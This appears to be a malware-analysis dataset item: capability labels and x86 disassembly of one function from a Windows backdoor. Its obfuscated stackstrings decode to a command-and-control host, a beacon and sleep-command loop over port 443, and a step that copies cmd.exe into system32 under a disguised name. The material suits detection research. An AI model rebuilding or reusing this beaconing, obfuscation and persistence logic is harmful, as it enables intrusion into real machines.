Function at 0x402420
Capabilities:
Check if file exists
Check mutex on windows
Contain obfuscated stackstrings
Get hostname
Initialize winsock library
Link many functions at runtime
Resolve dns
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x750
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x4cc]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x4cc]
push 0x5c
push ecx
call fcn.00403c00
lea edx, [esp + 0x78]
inc eax
push edx
push eax
mov byte [esp + 0x80], 0x63
mov byte [esp + 0x81], 0x68
mov byte [esp + 0x82], 0x72
mov byte [esp + 0x83], 0x6f
mov byte [esp + 0x84], 0x6d
mov byte [esp + 0x85], 0x65
mov byte [esp + 0x86], 0x2e
mov byte [esp + 0x87], 0x65
mov byte [esp + 0x88], 0x78
mov byte [esp + 0x89], 0x65
mov byte [esp + 0x8a], bl
call fcn.004085d0
add esp, 0x10
test eax, eax
jne 0x4031fc
mov al, 0x64
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [esp + 0x30], al
mov byte [esp + 0x3d], al
mov cl, 0x75
mov al, 0x70
mov byte [esp + 0x3c], cl
mov byte [esp + 0x49], cl
mov byte [esp + 0x50], al
mov byte [esp + 0x52], al
mov cl, 0x76
xor eax, eax
mov esi, 1
mov byte [esp + 0x28], 0x69
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x66
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x2d
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x6b
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0x69
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x2e
mov byte [esp + 0x37], 0x72
mov byte [esp + 0x38], 0x68
mov byte [esp + 0x39], 0x63
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6f
mov byte [esp + 0x3e], 0x2e
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x6d
mov byte [esp + 0x42], bl
mov byte [esp + 0x48], 0x73
mov byte [esp + 0x4a], 0x62
mov byte [esp + 0x4b], cl
mov byte [esp + 0x4c], 0x69
mov byte [esp + 0x4d], 0x65
mov byte [esp + 0x4e], 0x77
mov byte [esp + 0x4f], 0x2e
mov byte [esp + 0x51], 0x68
mov byte [esp + 0x53], bl
mov byte [esp + 0x88], 0x53
mov byte [esp + 0x89], 0x65
mov byte [esp + 0x8a], 0x72
mov byte [esp + 0x8b], cl
mov byte [esp + 0x8c], 0x69
mov byte [esp + 0x8d], 0x63
mov byte [esp + 0x8e], 0x65
mov byte [esp + 0x8f], 0x4d
mov byte [esp + 0x90], 0x61
mov byte [esp + 0x91], 0x69
mov byte [esp + 0x92], 0x6e
mov byte [esp + 0x93], bl
mov dword [esp + 0x114], eax
mov dword [esp + 0x10], esi
jmp 0x4025fe
mov eax, dword [esp + 0x114]
cmp esi, 0x770
jg 0x402fa4
je 0x402f42
cmp esi, 0x320
jg 0x402d2c
je 0x402717
cmp esi, 0xd0
je 0x402669
cmp esi, 0x25c
jne 0x40318d
lea eax, [esp + 0x48]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
mov dword [esp + 0x11c], eax
je 0x4034d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4034d0
jmp 0x4031a2
lea ecx, [esp + 0x5d0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x468]
lea edx, [esp + 0x468]
rep stosd dword es:[edi], eax
mov ecx, 0xf
lea edi, [esp + 0x154]
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x4026f8
lea eax, [esp + 0x154]
push 0x3c
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x40270c
mov edi, str.unknown
or ecx, 0xffffffff
xor eax, eax
mov esi, str.unknown
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x154]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x4031a2
mov esi, dword [eax]
mov ecx, 0xf
lea edi, [esp + 0x154]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x4031a2
mov al, byte [0x409480]
mov cl, byte [0x409477]
mov dl, byte [0x40947d]
mov byte [esp + 0x7c], al
mov al, byte [0x409472]
mov byte [esp + 0x7e], cl
mov byte [esp + 0x7d], al
mov byte [esp + 0x7f], al
mov al, byte [0x409490]
mov byte [esp + 0x80], cl
mov cl, byte [0x40946e]
mov byte [esp + 0x82], dl
mov byte [esp + 0x81], cl
mov cl, byte [0x40946d]
mov byte [esp + 0x83], al
mov al, byte [0x409475]
lea edx, [esp + 0x7c]
mov byte [esp + 0x84], cl
push edx
mov byte [esp + 0x89], al
mov byte [esp + 0x8a], al
mov byte [esp + 0x8b], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dl, byte [0x40947d]
mov cl, byte [0x409477]
mov byte [esp + 0x96], dl
mov dl, byte [0x40947b]
mov edi, eax
mov al, byte [0x409458]
mov byte [esp + 0x98], dl
mov dl, byte [0x40947d]
mov byte [esp + 0x94], al
mov al, byte [0x40946e]
mov byte [esp + 0x9b], dl
mov dl, byte [0x40945e]
mov byte [esp + 0x95], cl
mov byte [esp + 0x99], cl
mov byte [esp + 0x9f], cl
lea ecx, [esp + 0x94]
mov byte [esp + 0x97], al
mov byte [esp + 0x9a], al
mov byte [esp + 0x9c], dl
mov dl, byte [0x409479]
mov byte [esp + 0x9e], al
mov al, byte [0x409450]
push ecx
push edi
mov dword [0x40b1c4], edi
mov byte [esp + 0xa5], dl
mov byte [esp + 0xa8], al
mov byte [esp + 0xa9], bl
call ebp
mov dl, byte [0x409458]
mov cl, byte [0x40947d]
mov byte [esp + 0xa4], dl
mov dl, byte [0x40946e]
mov byte [esp + 0xa7], dl
mov dl, byte [0x40947b]
mov byte [esp + 0xa8], dl
mov dl, byte [0x40946e]
mov dword [0x40b1e0], eax
mov al, byte [0x409477]
mov byte [esp + 0xaa], dl
mov dl, byte [0x409452]
mov byte [esp + 0xa5], al
mov byte [esp + 0xa9], al
mov byte [esp + 0xac], dl
mov dl, byte [0x409478]
mov byte [esp + 0xae], al
mov byte [esp + 0xaf], al
mov al, byte [0x40946e]
mov byte [esp + 0xad], dl
mov dl, byte [0x40946c]
mov byte [esp + 0xb0], al
mov al, byte [0x409450]
mov byte [esp + 0xa6], cl
mov byte [esp + 0xab], cl
mov byte [esp + 0xb1], dl
mov byte [esp + 0xb2], cl
mov byte [esp + 0xb3], al
mov byte [esp + 0xb4], bl
mov edx, dword [0x40b1c4]
lea ecx, [esp + 0xa4]
push ecx
push edx
call ebp
mov dl, byte [0x40945e]
mov cl, byte [0x409479]
mov byte [esp + 0xbc], dl
mov dl, byte [0x409477]
mov byte [esp + 0xbf], dl
mov dl, byte [0x409461]
mov dword [0x40b1dc], eax
mov al, byte [0x409457]
mov byte [esp + 0xbb], cl
mov byte [esp + 0xbd], cl
mov cl, byte [0x40946e]
mov byte [esp + 0xc0], dl
mov dl, byte [0x40947a]
mov byte [esp + 0xb8], al
mov al, byte [0x40947d]
mov byte [esp + 0xbe], cl
mov byte [esp + 0xc1], cl
mov byte [esp + 0xc4], cl
mov cl, byte [0x40947c]
mov byte [esp + 0xc2], dl
mov dl, byte [0x40947e]
mov byte [esp + 0xb9], al
mov byte [esp + 0xba], al
mov byte [esp + 0xc6], al
mov byte [esp + 0xc5], cl
mov ecx, dword [0x40b1c4]
lea eax, [esp + 0xb8]
mov byte [esp + 0xc3], dl
mov dl, byte [0x409450]
push eax
push ecx
mov byte [esp + 0xcf], dl
mov byte [esp + 0xd0], bl
call ebp
mov dl, byte [0x409457]
mov cl, byte [0x409479]
mov byte [esp + 0xcc], dl
mov dl, byte [0x409462]
mov byte [esp + 0xd0], dl
mov dl, byte [0x409477]
mov byte [esp + 0xd2], dl
mov dl, byte [0x40946d]
mov byte [esp + 0xd3], dl
mov dl, byte [0x409461]
mov byte [esp + 0xcf], cl
mov cl, byte [0x40946e]
mov byte [esp + 0xd4], dl
mov dl, byte [0x40947a]
mov dword [0x40b1d8], eax
mov al, byte [0x40947d]
mov byte [esp + 0xd1], cl
mov byte [esp + 0xd5], cl
mov byte [esp + 0xd8], cl
mov cl, byte [0x40947c]
mov byte [esp + 0xd6], dl
mov dl, byte [0x40947e]
mov byte [esp + 0xcd], al
mov byte [esp + 0xce], al
mov byte [esp + 0xda], al
mov byte [esp + 0xd9], cl
mov ecx, dword [0x40b1c4]
lea eax, [esp + 0xcc]
mov byte [esp + 0xd7], dl
mov dl, byte [0x409450]
push eax
push ecx
mov byte [esp + 0xe3], dl
mov byte [esp + 0xe4], bl
call ebp
mov dl, byte [0x409458]
mov cl, byte [0x409477]
mov dword [0x40b1d4], eax
mov al, byte [0x40947d]
mov byte [esp + 0x14], dl
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], al
mov dl, byte [0x40947b]
mov al, byte [0x40946e]
mov byte [esp + 0x18], dl
mov dl, byte [0x409461]
mov byte [esp + 0x19], cl
mov cl, byte [0x40947d]
mov byte [esp + 0x1c], dl
mov dl, byte [0x40946d]
mov byte [esp + 0x1b], cl
mov cl, byte [0x40946a]
mov byte [esp + 0x1f], dl
mov dl, byte [0x409472]
mov byte [esp + 0x1e], cl
mov cl, byte [0x409455]
mov byte [esp + 0x21], dl
mov byte [esp + 0x17], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov eax, dword [0x40b1c4]
lea edx, [esp + 0x14]
mov byte [esp + 0x20], cl
mov cl, byte [0x409475]
push edx
push eax
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2c], bl
call ebp
mov dl, byte [0x40947d]
mov cl, byte [0x409458]
mov byte [esp + 0xf6], dl
mov dl, byte [0x40947b]
mov byte [esp + 0xf8], dl
mov dl, byte [0x40947d]
mov byte [esp + 0xfb], dl
mov dl, byte [0x409452]
mov byte [esp + 0xfc], dl
mov dl, byte [0x409475]
mov byte [esp + 0xfd], dl
mov dl, byte [0x409478]
mov byte [esp + 0xfe], dl
mov dl, byte [0x40947c]
mov byte [esp + 0xf4], cl
mov cl, byte [0x409477]
mov byte [esp + 0xff], dl
mov dl, byte [0x409457]
mov dword [0x40b1d0], eax
mov al, byte [0x40946e]
mov byte [esp + 0xf5], cl
mov byte [esp + 0xf9], cl
mov byte [esp + 0x103], cl
mov cl, byte [0x40946d]
mov byte [esp + 0x101], dl
mov dl, byte [0x40946a]
mov byte [esp + 0xf7], al
mov byte [esp + 0xfa], al
mov byte [esp + 0x100], al
mov byte [esp + 0x106], al
mov byte [esp + 0x104], cl
mov ecx, dword [0x40b1c4]
lea eax, [esp + 0xf4]
mov byte [esp + 0x102], dl
mov dl, byte [0x409475]
push eax
push ecx
mov byte [esp + 0x10d], dl
mov byte [esp + 0x10f], bl
call ebp
mov dl, byte [0x409458]
mov cl, byte [0x409477]
mov byte [esp + 0xe0], dl
mov dl, byte [0x40946e]
mov byte [esp + 0xe3], dl
mov dl, byte [0x40947b]
mov dword [0x40b1cc], eax
mov al, byte [0x40947d]
mov byte [esp + 0xe4], dl
mov dl, byte [0x40946e]
mov byte [esp + 0xe1], cl
mov byte [esp + 0xe2], al
mov byte [esp + 0xe5], cl
mov byte [esp + 0xe6], dl
mov dl, byte [0x409462]
mov byte [esp + 0xe8], dl
mov dl, byte [0x40946e]
mov byte [esp + 0xe9], dl
mov dl, byte [0x40945e]
mov byte [esp + 0xeb], dl
mov dl, byte [0x409479]
mov byte [esp + 0xec], dl
mov dl, byte [0x409478]
mov byte [esp + 0xe7], al
mov byte [esp + 0xea], al
mov byte [esp + 0xed], al
mov al, byte [0x409472]
mov byte [esp + 0xf0], cl
mov byte [esp + 0xef], dl
mov edx, dword [0x40b1c4]
lea ecx, [esp + 0xe0]
mov byte [esp + 0xee], al
mov al, byte [0x409450]
push ecx
push edx
mov byte [esp + 0xf9], al
mov byte [esp + 0xfa], bl
call ebp
mov dword [0x40b1c8], eax
jmp 0x4031a2
cmp esi, 0x51c
jne 0x40318d
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x190]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x154]
lea ecx, [esp + 0x190]
push eax
push str._s_:_login
push ecx
call fcn.0040395e
push 0x19000
call fcn.004039b0
mov esi, eax
mov ecx, 0x6400
xor eax, eax
mov edi, esi
lea edx, [esp + 0x118]
mov dword [esp + 0x130], esi
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x1a4]
push esi
lea ecx, [esp + 0x60]
push eax
push ecx
lea edx, [esp + 0x48]
push 0x1bb
push edx
mov dword [esp + 0x130], ebx
call fcn.00401f40
add esp, 0x28
test al, al
je 0x403110
cmp dword [esp + 0x108], ebx
je 0x403110
push 0x40a218
push esi
call fcn.004085d0
add esp, 8
test eax, eax
je 0x403110
mov eax, dword [esp + 0x108]
cmp byte [eax + esi - 1], 0x26
je 0x402dec
mov byte [eax + esi], 0x26
xor eax, eax
mov ecx, 0xa
mov dword [esp + 0x54], eax
lea edi, [esp + 0x12c]
mov dword [esp + 0x58], eax
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
rep stosd dword es:[edi], eax
cmp dword [esp + 0x120], ebx
je 0x402ee1
push 0x26
push esi
call fcn.00403b40
mov edx, eax
add esp, 8
cmp edx, ebx
je 0x402ee1
mov ecx, dword [esp + 0x6c]
cmp ecx, 4
jge 0x402e7a
mov eax, ecx
mov edi, esi
shl eax, 6
add eax, 0x40b1e8
inc ecx
mov dword [esp + 0x10c], eax
mov dword [esp + 0x6c], ecx
or ecx, 0xffffffff
xor eax, eax
mov byte [edx], bl
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x10c]
not ecx
dec ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x402ed6
jne 0x402ea6
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov byte [edx], bl
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x54]
mov eax, ecx
mov dword [esp + 0x6c], 5
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x402ed6
cmp ecx, 5
jne 0x402ee1
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov byte [edx], bl
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x12c]
mov eax, ecx
mov dword [esp + 0x6c], 6
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [edx + 1]
cmp esi, ebx
jne 0x402e21
mov ecx, dword [esp + 0x120]
push ecx
call fcn.00403953
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [esp + 0x28]
mov edx, ecx
mov edi, 0x40b2e8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [esp + 0x48]
mov eax, ecx
mov edi, 0x40b328
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x10]
jmp 0x4031a2
lea ecx, [esp + 0x12c]
push 0x40a218
push ecx
call fcn.004085d0
add esp, 8
test eax, eax
je 0x4031c2
lea edx, [esp + 0x12c]
push str.sleep
push edx
call fcn.00403ab0
add esp, 8
test eax, eax
je 0x4031a2
lea eax, [esp + 0x131]
push eax
call fcn.00403a9f
lea eax, [eax + eax*2]
add esp, 4
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 5
push ecx
jmp 0x40311e
cmp esi, 0x169c
jg 0x403185
je 0x403156
cmp esi, 0x998
je 0x403132
cmp esi, 0xd54
jne 0x40318d
push 0x19000
call fcn.004039b0
mov esi, eax
mov ecx, 0x6400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x1f8]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x130]
lea eax, [esp + 0x158]
push edx
push eax
lea ecx, [esp + 0x200]
push str._s_:__s
push ecx
mov dword [esp + 0x124], ebx
call fcn.0040395e
lea edx, [esp + 0x124]
lea eax, [esp + 0x208]
push edx
push esi
lea ecx, [esp + 0x64]
push eax
push ecx
lea edx, [esp + 0x4c]
push 0x1bb
push edx
call fcn.00401f40
add esp, 0x2c
test al, al
je 0x403110
cmp dword [esp + 0x110], ebx
je 0x403110
push 0x40a218
push esi
call fcn.004085d0
add esp, 8
test eax, eax
je 0x403110
push 0x19000
call fcn.004039b0
mov edx, eax
mov ecx, 0x6400
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x114]
lea eax, [esp + 0x11c]
push eax
push edx
push ecx
push esi
mov dword [esp + 0x120], edx
mov dword [esp + 0x12c], ebx
call fcn.00401e40
mov ecx, 0x6400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0x12c]
mov edi, dword [esp + 0x120]
push edx
push edi
push esi
call fcn.00401000
push edi
call fcn.00403953
mov eax, dword [esp + 0x138]
push eax
push esi
call fcn.004016a0
mov edi, eax
push esi
mov dword [esp + 0x144], edi
call fcn.00403953
mov ecx, dword [0x40b1c4]
add esp, 0x30
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp edi, ebx
je 0x4031df
mov esi, dword [esp + 0x10]
jmp 0x4031a2
push esi
call fcn.00403953
add esp, 4
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], 0x3e8
mov esi, dword [esp + 0x10]
jmp 0x4031a2
lea edx, [esp + 0x124]
lea eax, [esp + 0x54]
push edx
push eax
call fcn.00401040
lea ecx, [esp + 0x12c]
push ecx
call fcn.00401190
add esp, 0xc
jmp 0x4031a2
lea edx, [esp + 0x88]
push edx
push eax
call fcn.00401500
mov ecx, dword [0x40a0a4]
mov edx, dword [esp + 0x76c]
push ecx
push 0x40b1e8
push ebx
push edx
mov dword [0x40b1e4], eax
call eax
add esp, 0x18
jmp 0x4031a2
cmp esi, 0x17b3
je 0x403199
push 0xfa0
call fcn.004021c0
jmp 0x40319f
push eax
call fcn.00401b50
add esp, 4
inc esi
cmp esi, 0x2710
mov dword [esp + 0x10], esi
jl 0x4025f7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
mov eax, dword [esp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
mov ecx, dword [esp + 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x54]
mov ebp, eax
push edx
push ebp
mov byte [esp + 0x5c], 0x47
mov byte [esp + 0x5d], 0x65
mov byte [esp + 0x5e], 0x74
mov byte [esp + 0x5f], 0x45
mov byte [esp + 0x60], 0x6e
mov byte [esp + 0x61], 0x76
mov byte [esp + 0x62], 0x69
mov byte [esp + 0x63], 0x72
mov byte [esp + 0x64], 0x6f
mov byte [esp + 0x65], 0x6e
mov byte [esp + 0x66], 0x6d
mov byte [esp + 0x67], 0x65
mov byte [esp + 0x68], 0x6e
mov byte [esp + 0x69], 0x74
mov byte [esp + 0x6a], 0x56
mov byte [esp + 0x6b], 0x61
mov byte [esp + 0x6c], 0x72
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], 0x61
mov byte [esp + 0x6f], 0x62
mov byte [esp + 0x70], 0x6c
mov byte [esp + 0x71], 0x65
mov byte [esp + 0x72], 0x41
mov byte [esp + 0x73], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x5d0]
push 0x104
push ecx
push str.TEMP
mov dword [0x40b1c0], eax
call eax
test eax, eax
jne 0x403332
mov al, 0x55
lea edi, [esp + 0x14]
mov byte [esp + 0x17], al
mov byte [esp + 0x21], al
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x3a
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], 0x5c
mov byte [esp + 0x1d], 0x41
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], 0x20
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], 0x65
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], bl
lea esi, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x5d0]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 0x64
mov cl, 0x77
mov byte [esp + 0x2e], al
mov byte [esp + 0x42], al
lea eax, [esp + 0x28]
mov byte [esp + 0x28], 0x43
push eax
mov byte [esp + 0x2d], 0x3a
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], 0x6e
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x73
mov byte [esp + 0x38], 0x79
mov byte [esp + 0x39], 0x73
mov byte [esp + 0x3a], 0x74
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0x6d
mov byte [esp + 0x3d], 0x33
mov byte [esp + 0x3e], 0x32
mov byte [esp + 0x3f], 0x5c
mov byte [esp + 0x40], 0x6e
mov byte [esp + 0x41], 0x6f
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], 0x65
mov byte [esp + 0x44], 0x70
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x47], 0x2e
mov byte [esp + 0x48], 0x65
mov byte [esp + 0x49], 0x78
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], bl
call fcn.00402230
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x7d0
call esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x258]
lea edx, [esp + 0x5d0]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x360]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x70]
stosb byte es:[edi], al
push ecx
push edx
lea eax, [esp + 0x368]
push str._s_s
push eax
call fcn.0040395e
lea ecx, [esp + 0x370]
lea edx, [esp + 0x4dc]
push ecx
push edx
lea eax, [esp + 0x270]
push str.copy__b___s___C:windows_system32cmd.exe___s_
push eax
call fcn.0040395e
lea ecx, [esp + 0x278]
push ecx
call fcn.00402230
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0x24
lea edx, [esp + 0x360]
push edx
call edi
test eax, eax
jne 0x40348b
push 0xa
call esi
lea eax, [esp + 0x360]
push eax
call edi
test eax, eax
je 0x403479
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x258]
lea edx, [esp + 0x258]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x360]
push ecx
push str.__s_
push edx
stosb byte es:[edi], al
call fcn.0040395e
add esp, 0xc
push 0x3e8
call esi
lea eax, [esp + 0x258]
push eax
call fcn.00402230
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10